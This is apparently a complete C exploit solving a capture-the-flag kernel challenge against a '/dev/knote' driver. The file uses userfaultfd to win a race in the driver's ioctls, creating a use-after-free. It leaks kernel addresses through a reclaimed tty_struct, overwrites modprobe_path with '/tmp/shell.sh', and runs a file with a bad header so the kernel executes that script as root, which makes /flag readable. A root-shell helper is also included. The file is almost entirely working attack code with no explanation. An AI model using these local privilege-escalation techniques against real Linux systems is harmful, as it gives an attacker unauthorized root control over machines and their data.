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| #include <pthread.h>
#include "myusfd.h"
#define TTY_SIZE 0x2e0
#define MOD_PROBE 0x145c5c0
size_t user_cs, user_ss, user_rflags, user_sp;
size_t kernel_offset = 0, kernel_base = 0xffffffff81000000;
size_t commit_creds = 0, prepare_kernel_cred = 0, modprobe_path = 0;
void saveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void) {
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if (getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts(
"\033[32m\033[1m[+] Successful to get the root. Execve root shell "
"now...\033[0m");
system("/bin/sh");
}
void fault_handler_thread_leak(void* arg) {
puts("[+]leak thread start..");
static struct uffd_msg msg;
long uffd;
struct uffdio_copy uffdio_copy;
struct pollfd pollfd;
int nread;
int nready;
uffd = (long)arg;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
if (nready != 1) {
errExit("[-] Wrong poll return val");
}
nread = read(uffd, &msg, sizeof(msg));
sleep(4);
printf("[*] faultbuf stuck ...n\n");
if (nread <= 0) {
errExit("[-] msg err");
}
char* page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
errExit("[-] mmap err");
}
memset(page, 0, sizeof(page));
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst =
(unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] leak_fault_handler done");
return;
}
void fault_handler_thread_evilwrite(void* arg) {
puts("[+] fault_handler_evilwrte start!");
static struct uffd_msg msg;
long uffd;
struct uffdio_copy uffdio_copy;
struct pollfd pollfd;
int nread;
int nready;
uffd = (long)arg;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
if (nready != 1) {
errExit("[-] Wrong poll return val");
}
nread = read(uffd, &msg, sizeof(msg));
sleep(5);
if (nread <= 0) {
errExit("[-] msg err");
}
char* page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
errExit("[-] mmap err");
}
memset(page, 0, sizeof(page));
memcpy(page, &modprobe_path, 8);
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst =
(unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] evilwrite on chunk success!");
puts("[+] fault_handler_write done");
return;
}
struct Data {
union {
size_t size;
size_t index;
};
void* buf;
};
long notefd, tty_fd;
void add(size_t size) {
struct Data data;
data.size = size;
data.buf = NULL;
ioctl(notefd, 0x1337, &data);
}
void edit(size_t index, void* buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(notefd, 0x8888, &data);
}
void delete (size_t index) {
struct Data data;
data.index = index;
ioctl(notefd, 0x6666, &data);
}
void show(size_t index, void* buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(notefd, 0x2333, &data);
}
int main() {
notefd = open("/dev/knote", O_RDWR);
if (notefd < 0) {
errExit("device open error!!");
}
char* faultbuf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (faultbuf == MAP_FAILED)
errExit("map");
userfault_register(faultbuf, fault_handler_thread_leak);
add(TTY_SIZE);
printf("[+] add tty chunk success!\n");
pid_t pid = fork();
if (pid < 0) {
errExit("fork");
} else if (pid == 0) {
sleep(1);
delete (0);
printf("[-]son delete the tty chunk\n");
for (int i = 0; i < 0x30; i++)
tty_fd = open("/dev/ptmx", O_RDWR);
printf("[+]son open tty done\n");
exit(0);
}
show(0, faultbuf);
printf("[+]show success!\n");
size_t* data = (size_t*)faultbuf;
if (data[7] == 0) {
munmap(faultbuf, PAGE_SIZE);
close(tty_fd);
errExit("[-]leak data error!!");
}
close(tty_fd);
size_t x_fun_addr = data[0x56];
size_t kernel_base = x_fun_addr - 0x5d4ef0;
modprobe_path = kernel_base + MOD_PROBE;
printf("kernel_base=0x%lx\n", kernel_base);
printf("modprobe_path=0x%lx\n", modprobe_path);
char* writebuf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (writebuf == MAP_FAILED)
errExit("map");
userfault_register(writebuf, fault_handler_thread_evilwrite);
sleep(5);
add(0x100);
puts("[+] add 0x100 chunk success!");
pid = fork();
if (pid < 0) {
errExit("fork");
} else if (pid == 0) {
sleep(1);
delete (0);
puts("[-] write son delete done!");
exit(0);
}
edit(0, writebuf);
puts("[+] edit success!");
sleep(3);
add(0x100);
add(0x100);
puts("[+] get the mdpb chunk!");
char* temp[0x100];
strcpy(temp, "/tmp/shell.sh");
edit(1, temp);
puts("[+] overwrite mdpb success!");
system("echo '#!/bin/sh' >> /tmp/shell.sh");
system("echo 'chmod 777 /flag' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
system("cat /flag");
sleep(5);
return 0;
}
|
